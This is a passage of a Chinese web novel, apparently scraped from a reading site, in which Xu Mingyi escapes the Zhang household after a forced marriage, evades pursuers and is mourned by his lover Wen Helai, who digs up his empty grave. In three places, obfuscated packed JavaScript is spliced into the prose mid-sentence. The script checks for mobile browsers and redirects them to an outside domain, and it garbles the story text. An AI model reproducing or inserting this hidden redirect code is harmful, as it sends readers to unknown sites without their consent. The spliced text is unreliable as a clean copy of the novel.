许明意冷笑一声,被张家下人抓着手臂带下去时,他说:“张老爷,时间不等人啊。” 不多时,屋中只留下了张家三人,张靖遥开口道:“爹,我不会答应和离的。” 他话音刚落,一记响亮的耳光登时就响了起来,张夫人惊叫一声,道:“老爷,你打靖遥作甚?” “这都是那个贱人的错……” 张老爷沉声道:“你闭嘴!” “慈母多败儿,”张老爷看着张靖遥,气得胸口上下起伏,他说,“你看看你自己,从前痴恋一个戏子,如今还对一个扬言要杀你,要毁了咱们家的人恋恋不忘,我怎么会生出你这样的蠢货?!” “儿女情长,优柔寡断!”张老爷说,“张靖遥,如你这般,能成什么事!” 张靖遥看着张老爷,脸色难看,道:“当初要我娶他的是你们,如今要我们和离的也是你们,爹,我是一个人,不是你们手中的傀儡!” 张老爷盯着他,没什么温度地笑了一下,道:“是我们要你和离吗?” 张靖遥僵住。 张老爷恨铁不成钢,道:“滚出去!” 张夫人看着张靖遥面色惨白地退将出去,方低声叫了句,“老爷。” 张老爷闭了闭眼,说:“查,许九娘在四九城人生地不熟,他能将那东西藏哪儿去?” 张夫人应了声,又道:“那闻鹤来……” 听见牵扯其中的又是一个戏子,张老爷额角青筋跳了跳,半晌,道:“闻鹤来是江淮闻家的嫡子,闻家——让人盯着他,先别动手。” 许明意被关进了柴房。 他吃了几杖,那几下没留情,臀背都疼,坐不得,只能勉强趴在柴房内的硬木板上。外头雨声渐渐的小了,许明意听着那滴滴答答的雨声,紧悬的心才堪堪松弛了几分,整个人却依旧如同在梦中,掌心也尽都是汗。 他知道张家不会轻易放他离开,他们一定会去查,想找出他留在外头的东西。 找吧,找吧,许明意闭上眼睛,在心中冷冷道。 张家的确派人去找了,他们不能大张旗鼓,遣出去的也都是张家的家生子。张家这才发觉许明意这十日里,隔两三日就会出去一趟。张家将他走的路线,可能接触过的人,可能藏的地方都细细思索了一番,可都没找出许明意所说的话本子。 偏偏许明意在张家发难的前一日,就出过门。 依许明意的意思,便是外头的人没见着许明意,便会将那几份话本宣扬得满京城,人尽皆知。张老爷子还将许明意身边的下人都捉了来拷问了一番,可许明意瞒得紧,根本不曾对她们吐露分毫。 张老爷面色阴沉得骇人——他眼前又浮现了许明意那句意味深长的“时间不等人”,两日,要么他们放许明意离开,要么鱼死网破。张老爷鲜少吃亏,没想到临老,教许明意这么个他自己从没正眼瞧过的蝼蚁摆了一道。 闻宅。 闻鹤来自李公馆回来后,一直在想许明意所说的,他的爱太浅薄,许明意信不过他。 其实莫说许明意信不过他,便是闻鹤来也有些信不过自己。他并不是一个长情的人,贪新鲜,各花有各花的香,再好的东西得到手把玩过一阵便腻了。闻鹤来从没觉得这么着有什么不好,你情我愿的戏码,他不曾强迫于人。可那天他对许明意说,他愿意带他走时,话说出口,自己都愣了下,带许明意便是意味着日后当真要纠缠不清了。 就如许明意问他,带他回江淮,以后呢?闻鹤来也在想,把这个人带回江淮,然后呢? 他能和他天长地久吗? 闻鹤来没想过,他也没想过和任何一个男人或女人长久,可这一刻,却很认真地想,如果将许明意带回江淮,他要拿他怎么办?他们当真能过一辈子吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他竟这么恨他,恨到不惜和人私通,不顾一切地想离开他,可细细一想,许明意恨他,也理所应当。张靖遥当初娶许明意时便心不甘情不愿,他瞧不上许明意这么一个不男不女的人,更瞧不上许家为了钱而攀上来的这门亲。 在很长的一段时间里,张靖遥弄过许明意,却连他的脸都不曾细看——不屑于看,不想看。 他还将自己的愤怒,不甘都倾泻于许明意身上,张靖遥想,分明他不满意这桩婚事,他大可不娶,不喜欢许明意,他也能不碰他,他想要付邻春,为什么不去不顾一切地反抗?他都没有,他步步退让,天真地做着迷梦,却将痛苦施加于许明意身上。 许明意说得对,他是个懦夫。 张靖遥痛苦不堪,许明意那些尖锐的话,冷厉的眼神,如同一把把尖刀将他的血肉剖开,让张靖遥看到了皮囊之下的懦弱、自私、愚蠢。 这两日,张家二老让张靖遥闭门思过,不再让他插手许明意一事。张靖遥控制不住地去想,他爹娘会怎么处置许明意……愈想愈是心寒,他爹娘是当真对许明意动了杀心的。 四更时分。 许明意睁着眼睛望着老旧的房梁,是生是死,就看今天了。兴许是因为伤作痛,兴许是因为两天滴水未进,许明意没有半点睡意,嘴唇也已经干裂。 被关在柴房的两日里,许明意细数了这十九年的点点滴滴,实在是乏善可陈。这十多年里,对他饱含恶意的人,很多,对他好的人——屈指可数,闻鹤来算一个。许明意按了按衣襟下挂着的观音玉雕,那日竟忘了将这东西,还给闻鹤来。 那天晚上听到闻鹤来说愿意带他回江淮的时候,许明意心中还是不可控地泛起了波澜,可旋即就冷静了下来,带他回江淮又怎么样呢?他也不想跟闻鹤来走了。 许明意无意识地想,可他又能去哪儿呢?他不想回津门。天下之大,他竟没有归处。 许明意恍恍惚惚的,乍听见门开的声音时,还当是梦,他扭过头,看着被推开的门,有人走了进来。 竟是张靖遥。 许明意迟缓地眨了下眼睛,没有动,张靖遥慢慢走近了,看着面色苍白的许明意,二人都狼狈。张靖遥双眼通红,下颌生了青茬,他恍若未觉,只是死死地盯着许明意,许明意仰着脸看着他。 二人谁都没有说话。 过了许久,张靖遥开了口,声音嘶哑,“你恨我?” 许明意慢慢点头道:“对,我恨你。” 张靖遥眼睫毛颤了颤,他闭了闭眼,自袖口取出薄薄的一张纸丢给许明意,说:“滚吧。” 许明意展开那张纸,竟是和离书,是张靖遥亲手所写的。他看着上头的许九娘三字,恍了下神,张靖遥说:“还不走?” 许明意这才反应过来,他盯着张靖遥看了几眼,踉踉跄跄地爬了起来,跟着张靖遥走了出去。许明意不知张靖遥使了什么法子,他们一路竟未碰上下人,临到一道窄门,是张家的后门,张靖遥取出了一个包袱,说:“日后别再回四九城了。” 许明意看着他手中的包袱,手指紧了紧,抬手攥在了手中。张靖遥退后一步,他说:“你说得没错,我是懦夫。” “今后——还你自由。” 许明意不吭声,看了他片刻,转身将走之际,就听张靖遥叫住他,“九娘——你不叫九娘是吗?” “你叫什么?” 张靖遥亲自写和离书时,将落笔“许九娘”三字时,却莫名地停住了,许明意说,如许家一般对外宣称他已经死了——可分明许家是将他出嫁,又岂会宣称他死了? 除非他不是许九娘。可张靖遥从未在意过许家,自是不知在他们成亲之后的半个月,就对外称许家七郎对外暴毙了。 他不叫九娘,叫什么? 张靖遥越想,越是摧心肝。 许明意抱着包袱,站在窄门边,在张靖遥几乎以为他不会回答时,他说:“许明意。” 22. 第 22 章 吱呀一声,张家那道窄门在身后关上,也拦住了张靖遥望向许明意的目光,许明意没有回头,只是抬起脸,看着漆黑的夜幕,有些恍惚。 他竟当真……走出了张家。 今夜星子寥落,斜月沉沉挂树梢,干燥又带几分凉意的风刮在脸颊,许明意深深地吸了口气,真正有了踏出张家的实感。那一瞬间,许明意眼眶发酸,这大半年攒积的委屈在胸腔内翻滚,逼得他几欲落泪。 许明意用力地闭了闭眼睛,激荡的心绪才堪堪平复了几分。 时下不行宵禁,可已经过了四更,街上空空荡荡,只有路边蹿过几只夜猫,衬得黑暗中的四九城越发寂静。许明意紧紧攥着张靖遥给他的包袱,他拆开看过,里头是两身衣服和一沓银票,还有一把银元,银票易携带,银元可作日常所用。没想到张靖遥竟会准备得如此细致,就连那两身衣服,都是备下的男人的长衫。许明意沉默地捏着柔软的布料,这面料,约莫是府上绣娘给张靖遥新做的衣服。 张靖遥——许明意心中五味杂陈。 许明意走出张家那条后巷,慢慢地冷静了下来,今夜太顺利了,即便是张靖遥相帮,许明意心中依旧隐隐有些不安。许明意不再如无头苍蝇闷头往前走,他辨了辨方向,朝四九城内最热闹的街道走去。 许明意对四九城并不熟悉,可闻鹤来却在四九城生活多年,二人在一起时,闻鹤来有时会挑着四九城的事讲给他听。 许明意曾经想过去找闻鹤来,念头刚动就作罢了,也说不上为什么,只是不想去找了。再者,他一旦在这个时候找闻鹤来,待张家反应过来,闻鹤来未必能全身而退,届时又会对他如何,许明意不敢赌,也不想再赌。许家都能出卖他,何况一个闻鹤来。 说来说去,还是不信任,许明意想,他和闻鹤来之间,床榻上再是如何缠绵,依旧对彼此有所保留。 许明意受了伤,又渴又饿,走得也慢,他索性缓下步子,走走停停坐坐,慢慢迎来了四九城的黎明。 天要亮了。 街边卖菜和卖早食的起得最早,天将明,已经传来了窸窸窣窣的交谈声和饭食的香气。张家将许明意丢在柴房,滴水未予,又走了这么长一段路,许明意当真是又饿又乏。他寻了一个开得早的摊子,摊主是个老汉,见天蒙蒙亮就有人来用早食还有些奇怪,不过生意上门,哪有不做的道理,老汉道:“您早啊,想吃点什么?” 许明意小心地坐定了,将包袱搁在桌上,他察觉老汉打量的目光,不自觉地微微低下头。他身上穿的还是“许九娘”该穿的衣裙,鬓发稍稍整了一番,可瞧着还是像私自逃出家门的。许明意抿了抿嘴唇,细声细气道:“一碗面。” 老汉应了声,不再多看,便去给许明意煮面了。面上得快,热乎乎的泛着热气,许明意往肚子里灌了两杯热茶,一见那碗漂了葱花的清汤面,就咽了咽,他是真饿狠了。许明意飞快地扒完了那碗面,一旁传来热包子的香气,他看了眼那蒸屉里雪白的包子,摸出一个银元,对老汉道:“有劳您帮我买几个包子,剩下的便算作面钱。” 老汉愣了下,看着那修长带着血痕的手指,犹豫了一下,道:“……几个包子一碗面不值这么多钱,”他道,“我一会儿给您找钱。” 许明意道:“不用了,那是羊肉汤吗?” 他看向那热腾腾的一大锅汤汤水水,老汉笑道:“是,新鲜骨头熬的,给您来一碗?” 许明意用力点点头。 许明意就在小摊上坐到了天大亮,他就着那碗羊肉汤,慢条斯理地吃了三个刚出炉的热乎大包子,五脏六腑暖意融融,紧绷的神经也松弛了下来,泛上无法言喻的满足感。 他也不急着走,安静地看着街道上的摊贩和行人都渐渐多了起来,铺子也陆续开张,一股子热闹的烟火气。许明意这才向老汉道了谢,又在一旁的烙饼摊子买了几个饼,才离开。他也不急着出城,拿着油纸袋装着的饼子,似是漫无目的的游荡着,突然,他将手中的烙饼给了路边的一个乞儿,低声和他说了什么,小乞儿接过油纸袋拔腿跑了出去。 身后远远跟着许明意的几人对视一眼,为首的吩咐当中一人,“你跟上去。” 说罢,却见许明意又转入了另一条街,那几人没有多想,当即又缀了上去。许明意好似没有发现身后的尾巴,只是把玩着几个银元,一路挑着人请对方为他跑腿,应了,便给一个银元。没有人会不应这桩买卖。辰时末,日头渐高,四九城也彻底活了过来。突然,走入人群的许明意将掌心最后一捧银元都丢了出去,有人“哎呀”一声,叫道:“谁呀,乱丢东西——哎!钱!” 乍听此言,路上的人都愣了下,有人被银元砸着,有人也发觉了地上的银元,顿时就拥挤起来,人群一下子就乱了。 许明意趁乱就跑了出去。 跟着许明意的人也愣了下,等想追时,方发觉身边竟只剩了自己,原有的四五人都叫许明意不着痕迹地拆走了。 许明意一刻也不敢停留,拼命地往城门处跑去。 他离开张家离开得太顺利,许明意到底不放心,耐心等到了天大亮,人也多了起来。许明意给小乞儿那袋烙饼本就是为的试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887526|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探,果不其然,有人跟了上去。 张家是有意让张靖遥放他走的。 他拿那些事要挟张家,张家没有拿到他留在外头的东西,怎么肯轻易放他离开?其实就算张家拿到了,也不会放许明意离开,张家要脸面,不会容忍一个给张家抹黑的人活着。 这本就是死局。 许明意只能险中求生。他不惮张家的人在外头找,他们就算将四九城翻过来,也找不到那几本话本子——许明意在四九城根本就没有可信之人,事关生死,他不会轻易去赌。一旦他将那些东西写下,传了出去,那才是真的死路。 虚虚实实,才能搏一线生机,这是许明意自青羊一事后便为自己谋的退路。 这是他和张家的博弈,即便张靖遥不放他离开,张家最终还是会妥协——许明意赌得起,张家赌不起。 如张家这样的清贵门庭,最重脸面,张家丢不起人。只不过张靖遥不放他离开,便是他带着张家人去寻那莫须有的东西,许明意想过许多种方法,当真无路可选,他便将人往闻鹤来身边引,将闻鹤来彻底拖下水滚他一身泥——真正鱼死网破,谁都别想全身而退。 偏偏张靖遥放他离开了。 出了四九城巍峨的城门,许明意跑得太急,也跑远了,才停下脚步,喘着气回头看着艳阳笼罩下的都城。许明意蓦地想起他进四九城那一日,也是这样的一个晴天,隆冬天晴,他自马车的车窗小心翼翼地往外看。许明意看见了高远苍穹,望见了饱经沧桑的城门,他忐忑不安,又有些说不清道不明的紧张彷徨。 张家的嬷嬷啪的将窗户关上了,皮笑肉不笑地对许明意说:“大少奶奶,天儿冷,外头风大当心吹着。” 那一声响,将许明意惊得一个激灵,车轮一颠一颠的向前滚动,仿佛载着他,踏上一条看不清,摸不着的路。 而今,路就在他脚下,再真切不过。 许明意恍了恍神,转过身,看着官道,抬腿踏了上去。 张家。 得知底下的人不但没找着许明意藏在外头的东西,还把人跟丢了,顿时怒不可遏,可更让他愤怒的是,一整日过去,四九城里没有半点关于张家的流言传出——事已至此,张家二老哪儿能不明白,根本就没有什么话本子,许明意这是彻底耍了他们! 张家二老气得几欲呕血,恨不得将许明意一刀一刀活剐了。张老爷面色阴沉,拂落桌上的茶杯,沉声道:“就算他跑到天涯海角,也给我找!” “活要见人,死要见尸!” 下头一个刀疤脸的男人抱拳道:“是!” 23. 第 23 章 许明意出了四九城却并未真正放松下来,他知道,张家不会善罢甘休。这样的家族,重脸面,自负也自傲,教他这样的人耍了一把,只怕恨不得生啖他血肉。 许明意只有跑得越远,才越安全。 许明意换下了那身衣裙,穿的是张靖遥塞在包袱里的长衫,头发拿在集市上买的一把剪子绞了。他手艺不精,剪得潦草,也剪得短,若叫哪个剃头匠瞧了,怕是要眼睛疼。许明意却很满意,为了梳发,这头头发蓄得久,如今剪了,终于有几分男人的样子了。 如今打眼一看,除了他那狗啃似的头发,倒是有些像落难的书生。许明意以为换做男人装扮便安全了些,可他到底低估了这个乱世。他再是聪明,今年不过十九,入了冬,才弱冠,此前从未出过远门,更遑论远行。许明意皮肤白,身形瘦削单薄,又是孤身一人,纵然不是女人,落在有心人眼里,也和好欺的肥羊一般无二——衣服是好料子,包袱也是缎面的,毕竟是张家大少爷手里拿出来的东西。 许明意在路上打尖时就遇上了黑店,若非店里遭难的有个硬茬儿,和黑店里的伙计打起来,许明意只怕要连人带财一并折进去,成为“两脚羊”。他没敢停留,趁乱摸黑跑了出去,一口气跑出十里路,许明意还有些心有余悸,等反应过来时腿已经软了,一屁股坐在地上震得旧伤作疼,好半晌都没回过神。 许明意再不敢轻信任何人。 这个世道远比他能想象的凶险,许明意这一路走来,所见难民实多,无不是家中遭了难不得已背井离乡的可怜人。可纵是可怜人,许明意也见过他们为了一口吃食打起来,甚至拿石头砸死人的场景,那一双双被饥饿折磨得发绿的眼睛让人看着便不寒而栗。 为人活不下去,变成恶鬼,牲畜,也就不足为奇了。 所幸许明意多留了一个心眼,并未将所有银票都放在包袱里,他在身上穿的那身衣服里襟缝了一个夹层,将几张银票藏了进去。不过,见过人心险恶,许明意也不敢露财。他将自己弄得和难民一般,躲在流亡的难民中,流民多,只不定走到哪里便多了一个人,如许明意这般,倒也不起眼。 短短几日,许明意吃足了苦头。 他到底出身许家,虽是庶子,又因着那副身子不受待见,可无论如何也是少爷身份,后来又嫁入张家,是张家明面上的大少奶奶,不曾短缺过衣食。即便过得艰难,活得和流民一般,但是离四九城愈远,许明意心便愈发安定,甚至隐隐的有几分轻松。 天下广阔,连许明意自己都不知道自己会去哪儿,何况张家人呢? 那日,是个雨天,雨下得大,许明意跟着一伙流民被淋了个措手不及,好在路边有个破旧的土地庙,便都避了进去。许明意身上也湿透了,他不敢往人群中的篝火里挤,只小心地藏在阴影里。这伙流民中青壮年不多,大都是老弱妇孺,约莫是一个村子的,因着黄河决堤,水灾泛滥,不得已只能逃去他乡讨生活。 许明意拧干了身上的衣服,拿出一块泡软的饼子塞入口中,饼子浸了水,倒比硬邦邦的好入喉。他靠着斑驳的旧墙,咽下了整块饼子,腹中稍稍舒服了些,他听着外头淅淅沥沥的雨声,有些昏昏欲睡。 突然,有微弱的马蹄声响了起来,许明意自黑店一遭,不敢睡实,一下子就被惊醒了。他一睁眼,就见两个披着蓑衣的男人走了进来,二人身材高大,一踏过高高的门槛,流民们也纷纷望了过去。 为首的男人环顾一圈,开口说:“对不住,雨下得太大了,借地避个雨,雨停了就走。” 雨水淋湿了二人身上的短打,粗布料子裹着鼓鼓囊囊的身躯,一看就不好相与,流民们不敢吭声,小心地移开了眼睛。 他们走进来时,许明意看见了为首的男人脸上有一道刀疤。 那男人敏锐,许明意多看了两眼,对方就看了过来 ,吓得许明意忙低了下头,别过脸佯作睡觉。 雨下了一夜,天将明时才停,许明意迷迷糊糊里听见说话声就醒了过来,是那伙流民熬了稀粥,分着吃完将要上路了。许明意揉了揉脸颊,清醒了几分,他不敢落下,匆匆拿了水囊去外头打了一袋水,回来时和昨夜来借宿的一个男人打了个照面。 和刀疤脸不同,这男人个子清瘦些,三角眼,目光落在人身上就让人分外不适。他在许明意白皙修长的脖子上多瞧了几眼,许明意已经转过身,走向土地庙外,去跟上那些要离开的流民了。 男人尚且在回味那截白皙的脖子,许明意头低得快,他只匆匆看了眼,可莫名的,却有几分眼熟。 “老三,干什么呢?”刀疤脸走了出来。 叫老三的男人笑了一下,说:“刚刚那伙人里有个小子长得水灵灵的,”他比划了一下脖子,“比女人都白。” 刀疤脸睇他一眼,道:“收起你那些心思,别忘了,差事还没办完。” 老三啧了声,嘿然道:“忘不了,”他说,“咱们大少奶奶一个女人也忒能跑了,不但能从柳庄店里活着跑出来,还一跑就是这么远。” 刀疤脸也皱起了眉头,道:“女人……那天柳庄怎么说的?” 老三愣了下,眉毛紧拧,回想着那屠夫的话,道:“他们说他们这些日子没逮着女人……倒是有一个和咱们的画有点像的,是个男人,穿长衫,头发剃得短——” 正说着,老三猛地想起什么,道:“我说那小子怎么瞧着眼熟,不就是像老爷给咱们的画像里的大少奶奶吗?” 刀疤脸面色微变,道:“追!” 许明意缀在流民身后,不知怎的,总想起土地庙中的那两人,他停下脚步,看着前头的流民,咬咬牙,转头朝着另一条路跑了起来。 多日前,四九城。 闻鹤来没有想到他爹会中风,在闻郑催促之下,还是决定返回江淮。可临到骑马出四九城,闻鹤来却无端的有些心惊肉跳,好似他这一走,就彻底失去了什么似的,很是不安。 闻鹤来从来没有过这样陌生的情绪。 闻郑见他突然勒住马,叫了声:“少爷?”他说,“咱们快马加鞭去了津门,就能坐快船回家了。” 闻鹤来听见“津门”二字,捏紧了缰绳,道:“郑叔,我得回城一趟。” 闻郑愣了下,闻鹤来自言自语道:“我就回去看一眼,看一眼咱们就回家。” “少爷?”闻郑皱紧眉,还想说话,却见闻鹤来轻斥了声,双腿一夹马肚子,直接跃了出去,转眼就纵马又回了四九城,“我很快回来!” 闻郑看着,轻轻叹了口气。 闻鹤来不假思索地朝张府而去,可进了巷子后却有些迟疑,他不能去敲张家的门,这会给许明意带来麻烦。他心里有些烦躁,再次厌恶起了这见不得人的情夫身份,他下了马,攥着缰绳,正踌躇着,却听见身后传来声音,当即不耐烦地回过头去。 一回头,先撞入眼睛的是一樽棺椁,他愣了下,莫名的,心脏都跳了跳。 “闻老板?”为首的中年男人正巧是闻鹤来的戏迷,一眼就认出了闻鹤来,道,“哎呦,您怎么在这儿?” 闻鹤来多瞧了那棺椁几眼,目光落在男人脸上,扬起一个笑,道:“宋老板,真是巧,”他道,“有点儿事,来寻杨三爷。” 杨三爷也是个爱戏的,杨府就在这巷子里,和张家一前一后。宋老板没有多想,说:“我听说您得有一段时日不登台了。” 闻鹤来心不在焉地说:“是,家中有事,要回去一趟,”顿了顿,道,“宋老板,这副棺椁是要送去哪儿?” 宋老板摆了摆手,说:“嗐,要送去张家呢。” 闻鹤来笑意僵住,“哪个张家?” “瞧您问的,我都站这儿了,还能哪个张家,”宋老板笑了。 闻鹤来听见自己的声音,“谁去了吗?” 提及此,宋老板有些唏嘘,说:“张家大少奶奶去了,说是昨日去的,这不,匆匆忙忙地订了棺。真可怜啊,我没记错的话,张家大少奶奶是去岁冬嫁过来的吧,怎么好端端的,就没了呢?” “还没满二十呢。” 那声音一下子变得远而模糊,偏偏一个个字清晰地往耳中钻,砸在脑子,闻鹤来脸色一下子变得惨白。 许明意……死了? 闻鹤来无法相信宋老板说的话,他脚步乱了也未知,丢下缰绳疾走几步,还未靠近,就先看见张府门外,下人正往上挂着白布。 他怔怔地站在原地,望着宋老板一行人抬着棺椁走入张家,他想,许明意真的死了? 怎么会死呢?许明意怎么会死呢?他们上一回见的时候,人还好好的——一突然,闻鹤来脸色变得愈发难看,他想起了许明意曾问过他,如果他要离开四九城,他会不会带他走,许明意这么问,不是想求个答案,而是在隐晦地向他求救? 张家发觉了他们的事情,所以让许明意“暴毙”了,张家杀了许明意!不……不会的,闻鹤来脑子一热,抬腿间已经要往张府去,活要见人,死要见尸——还没走两步,一只手攥住了闻鹤来的肩膀,“少爷!” 是闻郑,他不放心,追了上来,眼见着闻鹤来失魂落魄地就要往张家冲,眉心跳了跳,拉住了闻鹤来。 闻鹤来眼睛泛红,盯着张家大门,说:“郑叔,你松开!” 闻郑压低声音道:“少爷,你要干什么?” “明意不可能死!”闻鹤来咬牙切齿,压抑地吼道,“你松开我!我要去弄个明白!” 闻郑脑子里浮现当日那个戴着帷帽的“女人”,再想起闻鹤来平日里的作派,约莫猜出那人便是张家大少奶奶,今日办白事的主人。闻郑眉心攒紧,道:“张家棺材都买了,少爷还干什么?” “没见着人,我不信,”闻鹤来说,他奋力想睁开闻郑,“郑叔,你放开我!” 闻郑道:“少爷!” “你要毁了张家大少奶奶最后的体面吗!” 闻鹤来一僵,闻郑沉声道:“张家如今对外称人是暴毙而亡,少爷去灵堂一闹,整个四九城都要知道张家大少奶奶和你纠缠不清,到时张家大少奶奶死了还要受人口舌,张家也定不会善罢甘休!” “这里是四九城,不是江淮!”闻郑说,“强龙不压地头蛇,少爷,算了吧。” “算了?”闻鹤来一听那几字,根本无法接受,他说,“怎么能算了?明意死了一定是张家杀了他!” 闻郑却很冷静,他看着闻鹤来,道:“那又如何?” “少爷口中的明意是张家的大少奶奶,她和男人私通,这是死罪,”闻郑反问闻鹤来,“少爷难道不知?莫说张家,就是在闻家,一样要被沉江。” 闻鹤来呆了呆,喃喃道:“……是我引诱的他,郑叔,我原想带他回江淮的……” “我不能就这么算了,活要见人,死要见尸,”闻鹤来摇着头,说,“明意很聪明,他不会就这么悄无声息地就死了……” 他无法接受明意的死讯,更无法接受许明意因他而死,张家是何时发现的……闻鹤来不敢想,在他不知道的这些日子里,许明意到底经受了什么,偏又控制不住,千万个念头在脑海中翻滚,无不是他所知道的那些酷烈手段,压得闻鹤来喘不过气,心脏也阵阵发痛。他知道的,他一直都知道他和许明意纠缠,将来一旦被人发现,等着许明意的会是什么。闻鹤来出身江淮闻家,闻家早先是江淮漕帮,江湖习气重,这样的家族尚且无法容忍女人私通,何况张家这样的世家。 偏偏他还是引诱了许明意。 是他毁了许明意。闻鹤来流连花丛,恣意妄为惯了,从来不在乎他人生死——风月场上你情我愿,好过一场,可也没谁说好了便是一辈子。戏台上唱的情再真,那也是戏,还是折子戏,所谓的折子戏便是戏里最精彩的那一折,那折过后说不得就是悲悲戚戚惨淡收场。 谁求一辈子?谁求白头?天真! 闻鹤来也是这般想的,许明意图慰藉,爱他的温柔小意,他贪恋许明意的皮囊,身体,各取所需,哪还管什么真情真心,虚情假意。 可不知从何时起,虚情假意里添了真心,可添得太隐晦,闻鹤来将将品出几分,就教许明意的“死讯”砸了个措手不及。 晴天霹雳,不外如是。 来得太过震惊,太让闻鹤来猝不及防,反倒无法就此舍下,非要弄个清楚明白方肯罢休。 闻郑劝了闻鹤来几回,可闻鹤来铁了心,也只得由了他去。闻鹤来本就是个极任意妄为的性子,他能为着膈应闻家老爷子,就以本名作艺名登上戏台,就足以窥见一二。 闻鹤来着人仔细地调查了张家那几日的动静,愈发确定,许明意不是病故的——张家连大夫都没请过,怎么能是病故?那不是病故,就是张家杀的人。 闻鹤来还让底下的好手潜入张家,他想,也许还活着,没死,只是被张家人关起来了……这个想法连闻鹤来自己都说服不了,张家已经对外称张家大少奶奶已经病故,又关着许明意做什么? 说不定明意跑了呢?闻鹤来想,他逃出来了——可要从怒极的张家手中逃出来,绝非易事,闻鹤来知道许明意和许家早已断交,偌大四九城,许明意能信的,约莫只有自己,若是逃了……许明意该来寻他的。 不堪细想,短短几日,闻鹤来夙夜难眠,被折磨得整个人几欲发疯。张家对许明意一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887527|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事讳莫如深,闻鹤来费尽心思,也查不出什么东西。 许明意的棺,也要下葬了。 闻鹤来远远地看着出殡队伍里的棺椁,神情阴郁,没见着尸体,他不信许明意就这么死了。 当晚,闻鹤来带人挖开了许明意的坟。 翌日,是个阴天。 张靖遥坐着张家的车去上衙时,突然横冲出几人逼停了张家的车,彼时张靖遥正闭眼假寐,自许明意和闻鹤来一事闹出来之后,他不曾睡过一个好觉,面上也有几分无法掩饰的颓唐。 外人见了张靖遥的落魄,也只当他饱受骤然丧妻之痛。张靖遥苦笑不已,偏偏心中百般纠结,都不能对人言。 唯一值得庆幸的是,那棺椁里葬下的是许明意的衣冠。张家二老厌恶极了许明意,原本想将丧礼草草了事,张靖遥却不同意,执意要将许明意以张家大少奶奶该有的礼节下葬。他道,张家既对外称许明意是暴毙,若是草草下葬,反倒引人怀疑。张家二老思索半晌,看着张靖遥执着的模样,便应了他。 张靖遥恍恍惚惚地想,不知许明意如今走到哪儿了,又会去哪儿?约莫是不会回津门吧,天下之大,总有他的容身之处,能保住命,便能去个没人认识的地方,做男人好,做女人也罢,一切重头再来,好好地活着。 突然,车子嘎吱一声紧急刹住了车,张靖遥整个人都前倾了一下,顿时就惊醒了。 “怎么回事?”张靖遥皱紧眉,抬头看向车窗外,啪的一声车窗碎裂声响,是一根木棒砸了过来生生将车窗砸了个粉碎,玻璃飞溅中,是一张面无表情的脸。 化成灰张靖遥如今也记住了——闻鹤来。 张靖遥脸色铁青。 张家的车夫脸色也有些难看,没想到刚驶出巷子,就冲出几人拦住他们的车,车夫沉声道:“少爷坐好,对方人多势众……” 说着,就想重新启动车子,要带张靖遥冲出去,却听张靖遥开了口,“打开车门。” 车夫急了:“少爷!” 张靖遥看了他一眼,车夫只得应声,啪嗒一声响,张靖遥已经推开车门跨了出去。二人打了一个照面,甫对上,张靖遥一拳就冲闻鹤来脸上砸了过去。他这一下来得快,闻鹤来没避开,嘴角当即就见了血,张靖遥一记得手并未停下,拳脚相加。 疼痛唤回了闻鹤来的冷静,他阴沉地盯着张靖遥,丢了手里的棍子,抬起拳头就和张靖遥厮打到了一处,宣泄着这些时日的愤怒不安。张靖遥亦恨极了闻鹤来,无论是出于什么,他都恨不得弄死闻鹤来,而今他还敢往自己面前凑,砸了他的车,当真是新仇旧恨,炮仗似的点燃了胸中压抑的怒火。 张靖遥是个读书人,纵然学过些拳脚,哪里是闻鹤来一个戏台上文武兼修的人的对手,走过几十招,就落了下风。 “明意在哪儿?”闻鹤来攥着张靖遥的衣领,沉声逼问,张靖遥听见他口中吐出“明意”二字愣了下,没想到闻鹤来竟知道许明意的名字,是许明意告诉他的。他这一恍神,闻鹤来却不耐烦,一拳打在他腹部,厉声说,“说!” 张靖遥闷哼一声,他咽下嘴里的血沫,看着闻鹤来狼狈又凶狠的模样,冷冷道:“死了。” 话刚了,衣襟被攥紧,闻鹤来面色阴郁,一字一顿道:“张靖遥!” 张靖遥冷笑道:“你害死了他,要不是你引诱许明意,他怎会和你一个戏子厮混!” “现在人已经死了,”张靖遥说,“昨日出殡,你难道不知?” 闻鹤来盯着张靖遥,面上突然露出一个阴森森的笑容,他轻声说:“张家葬下的是衣冠,棺里空的。” 张靖遥一愣,看着闻鹤来,这才发觉闻鹤来衣袍脏乱,还沾着泥,脸色一下子变得难看至极。他胸膛剧烈地起伏着,不知哪里来的气力,重重将闻鹤来掀翻在地,握拳就照面冲了上去,“你混蛋!” 闻鹤来吃了他两记拳头,张靖遥咬牙切齿道:“闻鹤来,你别以为我不敢杀了你,这里是四九城,不是你们江淮!” “我就算弄死你,”张靖遥掐住他的脖子,“闻家也奈何我不得!” 